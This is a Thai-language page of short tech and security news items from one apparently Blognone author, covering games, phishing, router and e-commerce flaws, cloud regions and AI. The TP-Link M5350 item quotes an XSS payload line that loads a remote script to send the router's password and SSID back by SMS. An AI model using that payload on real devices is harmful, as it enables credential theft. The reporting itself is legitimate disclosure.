Member for :
By lew Founder on Tag: Games, StarCraft
Games

หลังจากเมื่อต้นปี Blizzard แจก Starcraft II โดยไม่ระบุเงื่อนไขว่าทำอย่างไรจึงได้รับ ตอนนี้ Starcraft ภาคแรกก็แจกฟรีทั้งหมดแล้ว

แพตช์ล่าสุดยังเพิ่มฟีเจอร์หลายอย่าง ตั้งแต่การรองรับ Windows 10, สามารถปรับเล่นได้ทั้งโหมดเต็มจอหรือเป็นวินโดวส์, โหมดสังเกตการณ์ดูเกมของคนอื่น

By lew Founder on Tag: Chrome, Google, Phishing, Security
Chrome

การเปิดใช้งานตัวอักษร unicode ในโดเมนเปิดทางให้การโจมตี phishing ทำได้แนบเนียนขึ้นเรื่อยๆ ปัญหาสำคัญเช่น อักษรซีริลลิก (Cyrillic) ที่มีตัวอักษรเหมือนกับตัวละตินในภาษาอังกฤษหลายตัว ทำให้สามารถปลอมโดเมนได้อย่างแนบเนียน

Xudong Zheng รายงานปัญหานี้ตั้งแต่สัปดาห์ที่แล้ว ระบุว่าบนเครื่องบางเครื่องที่ฟอนต์ตรงกัน การปลอมโดเมนด้วยอักษรซีริลลิก ทำให้ผู้ใช้ไม่สามารถแยกระหว่างโดเมนจริงกับโดเมนปลอมได้เลย

By lew Founder on Tag: Magento, Security
Magento

Defense Code รายงานช่องโหว่ของระบบอีคอมเมิร์ช Magento ที่ได้รับความนิยมเป็นอย่างสูงรวมถึงในบ้านเราเอง โดยระบบพรีวิววิดีโอจาก Vimeo จะดาวน์โหลดภาพสินค้าตัวอย่างเสมอ และแม้ว่าตัวซอฟต์แวร์จะตรวจสอบไฟล์ที่กำลังดาวน์โหลดว่าเป็นภาพจริงหรือไม่ แต่ก็ดาวน์โหลดไฟล์เสมอแม้จะผิดพลาดก็ตามทำให้แฮกเกอร์ทำโค้ดไปวางบนเซิร์ฟเวอร์ของเหยื่อได้

By lew Founder on Tag: Airbnb, Security
Airbnb

Airbnb เจอปัญหาผู้ใช้ถูกขโมยบัญชีมากขึ้นเรื่อยๆ ในช่วงหลัง หลังจากที่พยายามทำระบบตรวจจับความเสี่ยงภายใน ตอนนี้ทาง Airbnb ก็หันมาใช้การยืนยันตัวตนหลายขั้นตอนด้วย SMS แล้ว

การส่ง SMS ของ Airbnb จะไม่ส่งบ่อยๆ เหมือนการทำธุรกรรมธนาคารที่เราพบกัน แต่จะจำไว้ว่าเราเคยใช้อุปกรณ์ใดล็อกอินเข้าแอปบ้าง หากเป็นอุปกรณ์ใหม่ก็จะส่งรหัสทาง SMS หรืออีเมล หลังจากนั้นจะสามารถล็อกอินด้วยอุปกรณ์เดิมต่อไปได้เรื่อยๆ

ที่มา - Airbnb

By lew Founder on Tag: FBI, BitTorrent
FBI

FBI มีเทคโนโลยีเฉพาะของตัวเองสำหรับตามจับคนร้ายเสมอๆ วันนี้ทาง TorrentFreak ก็รายงานถึงความสามารถของ FBI ในการตามจับคนร้ายคดีเผยแพร่ภาพอนาจารเด็ก ที่ใช้ไคลเอนต์ BitTorrent ที่ปรับแต่งมาเป็นพิเศษเพื่อการตามจับคนร้าย

ไคลเอนต์รุ่นพิเศษนี้จะใช้สำหรับเก็บข้อมูลไอพีที่ได้มาจาก tracker จากนั้นเมื่อ FBI ล็อกเป้าหมาย ก็สามารถดาวน์โหลดไฟล์ทั้งหมดจากคนแชร์รายเดียว เพื่อยืนยันว่าต้นทางมีไฟล์ครบทั้งไฟล์อยู่บนเครื่องจริงๆ เพื่อดำเนินคดีต่อไป

By lew Founder on Tag: Security, TP-Link
Security

Jan Hörsch จากบริษัท Securai รายงานช่องโหว่ของเราท์เตอร์ 3G ของ TP-Link รุ่น M5350 ที่มีช่องโหว่ cross-site scripting (XSS) เปิดทางให้แฮกเกอร์สามารถยิงโค้ดจาวาสคริปต์ขึ้นไปรันได้

นักวิจัยทดสอบด้วยการยิง SMS <script src=//n.ms/a.j></script> เพื่อให้เราท์เตอร์นำโค้ดขึ้นไปรัน จากนั้นตัวสตริปต์จะส่ง SMS กลับมาเป็นรหัสผ่านและ SSID ของตัวเราท์เตอร์

By lew Founder on Tag: HPE, Security, NIST, Cryptography
HPE

NIST เปิดตัวมาตรการการเข้ารหัสแบบรักษาฟอร์แมตข้อมูล (Format-Preserving Encryption - FPE) มาตั้งแต่ปีที่แล้ว ตอนนี้ทาง HPE ประกาศว่าโซลูชั่น SecureData ของบริษัทเป็นโซลูชั่นแรกที่ได้รับการรับรอง (validated) ตามมาตรฐานนี้

HPE SecureData with Hyper FPE ใช้กระบวนวิธีเข้ารหัสแบบ AES-FF1 เป็นหนึ่งในสามกระบวนวิธีที่มาตรฐานของ NIST รับรองให้ใช้งาน

By lew Founder on Tag: Maker Movement, Singapore, Education
Maker Movement

Yaacob Ibrahim รัฐมนตรีกระทรวงการสื่อสารและสารสนเทศของสิงคโปร์ประกาศโครงการสนับสนุนเมกเกอร์ระดับชาติในชื่อ Digital Maker Programme สนับสนุนตั้งแต่การศึกษา, ชุมชนเมกเกอร์, ไปจนถึงตลาดสินค้าสิ่งประดิษฐ์

โครงการที่เป็นรูปธรรมส่วนแรกคือการร่วมมือกับกระทรวงศึกษา นำบอร์ด micro:bit ที่ BBC เคยแจกให้นักเรียนในโรงเรียนอังกฤษมาใช้ในการเรียน โดยมุ่งจะใช้งานในโรงเรียนประถมและมัธยม ระยะเวลาโครงการสองปี ส่วนการสนับสนุนในแง่ชุมชนจะมีการจัดฝึกความรู้เกี่ยวกับเมกเกอร์ให้ และระดับธุรกิจจะมีการสนับสนุนด้านการเงินให้กับบริษัทต่อไป

By lew Founder on Tag: Hong Kong, Software
Hong Kong

ในเกมเรามักเห็นระบบเซฟเกมแบบ "ช่องเซฟ" ที่เกมหนึ่งๆ จะเซฟได้ไม่เกิน 10 จุดเท่านั้น แต่ซอฟต์แวร์สนามบินฮ่องกงกลับมีข้อจำกัดแบบเดียวกัน และการเซฟเกินช่องเซฟมีผลถึงกับทำระบบล่มได้

ระบบควบคุมการบินของสนามบินฮ่องกงออกแบบให้มีช่องเซฟการตั้งค่าหน้าจอ (ขนาดตัวอักษร, ความสว่างหน้าจอ ฯลฯ) รวมทั้งหมด 5,500 ช่อง โดยมีผู้ใช้ระบบรวมประมาณ 400 คน แต่เมื่อวันที่ 8 เมษายนที่ผ่านมาผู้ใช้เซฟการตั้งค่าชุดใหม่เข้าระบบเกินข้อจำกัดพอดี ทำให้ระบบผิดพลาดเข้าสู่โหมดเตือนความผิดปกติและย้ายงานไปยังเซิร์ฟเวอร์ตัวที่สอง

By lew Founder on Tag: IBM, Startup, Digital Ventures
IBM

กระแสการเปิดบริษัทสตาร์ตอัพบ้านเราอาจจะเพิ่งได้รับความนิยมสูงๆ ในช่วงไม่กี่ปีมานี้จนมีงานประกวดในไทยอยู่เนืองๆ แต่งานในสหรัฐฯ ที่มีสตาร์ตอัพจำนวนมาก ก็มีการประกวดกันมานานแล้ว หนึ่งในงานที่ได้รับความนิยมเป็นอย่างสูงคืองาน LAUNCH Festival ที่มีการแข่งขันนำเสนอธุรกิจ (pitch) กันเป็นจำนวนมาก ผู้ร่วมงานปีละนับหมื่นคน

งานนี้ทาง Digital Ventures และ IBM ก็เชิญ Blognone ไปร่วมงาน ผมจึงมีโอกาสเก็บบรรยากาศมาเล่าให้ฟังกันครับ

By lew Founder on Tag: Security, HTTPS, Netflix
Security

ระบบการออกใบรับรองการเข้ารหัสเว็บทุกวันนี้ ความน่ากลัวอย่างหนึ่งคือเมื่อมี root CA เพิ่มเข้ามาแล้ว root CA นั้นจะออกใบรับรองให้กับโดเมนใดๆ ก็ได้ ทั้งที่จริงๆ แล้วฟีเจอร์หนึ่งของใบรับรองสำหรับ CA คือ Name Constraints สามารถกำหนดโดเมนที่ CA จะออกโดเมนได้แต่ก็ไม่มีใครสนใจใช้งานจริงจังนัก

By lew Founder on Tag: Google Cloud, Singapore
Google Cloud

Google Cloud Platform ประกาศจะเปิดศูนย์ข้อมูลในสิงคโปร์ตั้งแต่ปีที่แล้ว วันนี้ก็มีรายงานว่าผู้ใช้ Google Cloud Platform เริ่มสร้างเซิร์ฟเวอร์ในโซน asia-southeast1 หรือสิงคโปร์ได้แล้ว หลังจากก่อนหน้านี้โซนที่ใกล้ที่สุดคือไต้หวัน (asia-east1)

สิงคโปร์จะมี 2 โซนตามประกาศก่อนหน้านี้ เทียบกับไต้หวันที่มี 3 โซน

สำหรับบริการในไทย การเปิดเซิร์ฟเวอร์ที่สิงโปร์น่าจะให้ประสบการณ์กับผู้ใช้ในไทยได้ดีที่สุดเพราะ latency อยู่ในช่วงประมาณ 30ms แทบไม่ต่างจากเซิร์ฟเวอร์ในไทย

By lew Founder on Tag: Google, Machine Learning, Artificial Intelligence
Google

กูเกิลเปิดตัวเว็บ AutoDraw แปลงภาพที่วาดแบบไม่บรรจงกลายเป็นสวยๆ ที่วาดโดยนักวาดมืออาชีพ ทำให้คนทั่วไปสามารถลองวาดภาพแบบหวัดๆ แล้วแปลงภาพกลายเป็นการ์ดอวยพรหรือภาพร่างได้

บริการ AutoDraw ยังเปิดรับภาพวาดจากศิลปินภายนอกสามารถส่งภาพเข้าไปให้ผู้ใช้ AutoDraw สามารถเลือกไปใช้งานได้อีกทางด้วย

ตัวซอฟต์แวร์ภายใน ใช้เทคโนโลยีแบบเดียวกับเกม Quick, Draw! ที่กูเกิลสร้างขึ้นทดสอบว่าปัญญาประดิษฐ์จะสามารถเดาว่าภาพที่เราวาดเป็นภาพอะไรได้หรือไม่ (แต่เท่าที่ผมลองแล้ว AutoDraw ฉลาดกว่ามาก)

By lew Founder on Tag: Project Zero, Google, Nexus, Security, iOS
Project Zero

Project Zero ของกูเกิลเขียนรายงานการเจาะเฟิร์มแวร์ Broadcom Wi-Fi SoC ที่ใช้งานอยู่ใน Nexus 6P แสดงให้เห็นว่าแฮกเกอร์สามารถแฮกเครื่องจากระยะไกล ด้วยการสร้างแพ็กเก็ต Wi-Fi เพื่อเจาะทะลุตัวเฟิร์มแวร์ เมื่อควบคุมตัวเฟิร์มแวร์ของชิป Wi-Fi ได้แล้วจึงเจาะทะลุเข้าเคอร์เนลอีกชั้นหนึ่ง ทำให้เข้าควบคุมเครื่องของเหยื่อได้อย่างสมบูรณ์

ช่องโหว่นี้ถูกแก้ไขแล้วในอัพเดตเดือนเมษายนที่ผ่านมา (สำหรับ Nexus ที่ยังซัพพอร์ตอยู่เท่านั้น)

By lew Founder on Tag: Fitbit, Smart Watch
Fitbit

แม้สินค้าหลักของ Fitbit จะเป็นสายรัดข้อมือเพื่อสุขภาพ แต่บริษัทก็พยายามปรับสินค้าให้เป็นสมาร์ตวอช เช่น Fitbit Blaze ที่ออกมาปีที่แล้ว และคาดว่าสินค้ารุ่นต่อไปจะกลายเป็นสมาร์ตวอชเต็มรูปแบบเช่นเดียวกับ Apple Watch แต่ตอนนี้ Yahoo! Finance ก็อ้างแหล่งข่าวภายในระบุว่ากระบวนการออกแบบยังมีปัญหามากมาย

By lew Founder on Tag: China, Law
China

สำนักงานความมั่นคงปลอดภัยไซเบอร์จีน ( Cyberspace Administration of China - CAC) ปล่อยร่างกฎหมายความมั่นคงไซเบอร์ฉบับใหม่ สร้างเกณฑ์ระบุให้หน่วยงานที่มีผู้ใช้เกิน 500,000 คนหรือถ่ายโอนข้อมูลปีละ 1,000GB ต้องผ่านการตรวจความมั่นคงไซเบอร์ปีละครั้ง

นอกจากนี้แล้ว การโอนข้อมูลผู้ใช้ออกนอกประเทศ ต้องขออนุญาตเจ้าของข้อมูลล่วงหน้า

By lew Founder on Tag: Internet, Web Server, Apache, nginx
Internet

W3Techs ผู้สำรวจเทคโนโลยีเว็บรายงานส่วนแบ่งเว็บเซิร์ฟเวอร์เดือนเมษายน พบว่า Apache ต่ำกว่า 50% เป็นครั้งแรกตั้งแต่มีการสำรวจมาในปี 2010 และฝั่ง nginx เพิ่มขึ้นอย่างมั่นคงจนมาถึง 33.3% แล้ว ขณะที่ Microsoft IIS มีส่วนแบ่งลดลงช้าๆ จาก 21% ในปี 2010 มาเหลือ 11.3%

ฝั่ง Apache เองในแง่ตลาดระยะยาวดูจะมีปัญหาหนัก เพราะเว็บขนาดใหญ่ๆ ล้วนให้ความนิยม nginx สูงกว่าทั้งสิ้น ถ้านับเว็บที่คนเข้า 100,000 อันดับแรก nginx ก็จะมีส่วนแบ่งเกิน 50%

By lew Founder on Tag: USA, Security
USA

ความปลอดภัยไซเบอร์เริ่มเข้าไปเกี่ยวข้องกับระบบควบคุมมากขึ้นเรื่อยๆ เช่น ระบบควบคุมโครงการพื้นฐานอย่างไฟฟ้าและประปา ล่าสุดการระบบเตือนภัยเมืองดัลลัสก็ตกเป็นเหยื่อของการบุกรุกไซเบอร์ เมื่อระบบถูกแฮกจนไซเรน 156 ตัวสำหรับการแจ้งเตือนทอร์นาโดดังขึ้นพร้อมกันทั่วเมือง

ทางโฆษกระบุว่ายังไม่สามารถให้รายละเอียดได้ แต่บอกเพียงว่าระบบถูกแฮกตั้งแต่วันศุกร์ที่ผ่านมา และกำลังทำงานร่วมกับหน่วยงานอื่น เช่น FCC เพื่อหาต้นตอของการบุกรุกต่อไป

By lew Founder on Tag: IBM, Watson, Artificial Intelligence
IBM

งานฝ่ายไอทีตามองค์กรใหญ่ๆ อาจจะเป็นงานที่ที่ซ้ำกันไปมา ตั้งแต่การปลดล็อกบัญชี, เพิ่มโควต้าพื้นที่อีเมล, หรือขอสั่งคอมพิวเตอร์ใหม่ ตอนนี้ไอบีเอ็มก็เตรียมเปิดทางให้องค์กรหันมาใช้ปัญญาประดิษฐ์รับงานเหล่านี้ด้วยบริการ IBM Workplace Support Services with Watson

ผู้ใช้จะสามารถพูดคุยกับ Watson เพื่อขอความช่วยเหลือได้เหมือนการพูดคุยกับเจ้าหน้าที่ฝ่ายไอทีตามปกติ หากปัญหามีทางออกเตรียมไว้ให้เช่นการปลดล็อกรหัสผ่านหมดอายุ ตัว Watson ก็สามารถแก้ปัญหาได้เอง หากไม่มีทางออกที่เตรียมไว้ก็จะส่งให้เจ้าหน้าที่รับช่วงต่อ แต่ตัว Watson สามารถเรียนรู้การตอบรับจากผู้ใช้บริการเพื่อกลับมาปรับปรุงตัววเองได้เรื่อยๆ เพื่อลดงานของเจ้าหน้าที่ที่ต้องมารับเรื่องต่อหาก Watson แก้ปัญหาเองไม่ได้

By lew Founder on Tag: Google, Machine Learning, Gboard, Artificial Intelligence
Google

ส่วนสำคัญของการฝึกระบบปัญญาประดิษฐ์คือซอฟต์แวร์ฝึกจะต้องเห็นข้อมูลจำนวนมาก แต่สำหรับข้อมูลส่วนตัวเช่นคีย์บอร์ด การส่งข้อมูลกลับไปยังเซิร์ฟเวอร์เพื่อฝึกปัญญาประดิษฐ์ให้แนะนำคำได้ดียิ่งขึ้น จะเสี่ยงต่อการละเมิดความเป็นส่วนตัวอย่างมาก

ตอนนี้กูเกิลก็เสนอทางออกใหม่ที่ไม่ต้องส่งข้อมูลกลับไปยังเซิร์ฟเวอร์โดยตรง แต่ยังปรับปรุงปัญญาประดิษฐ์จากการใช้งานได้ เรียกว่า Federated Learning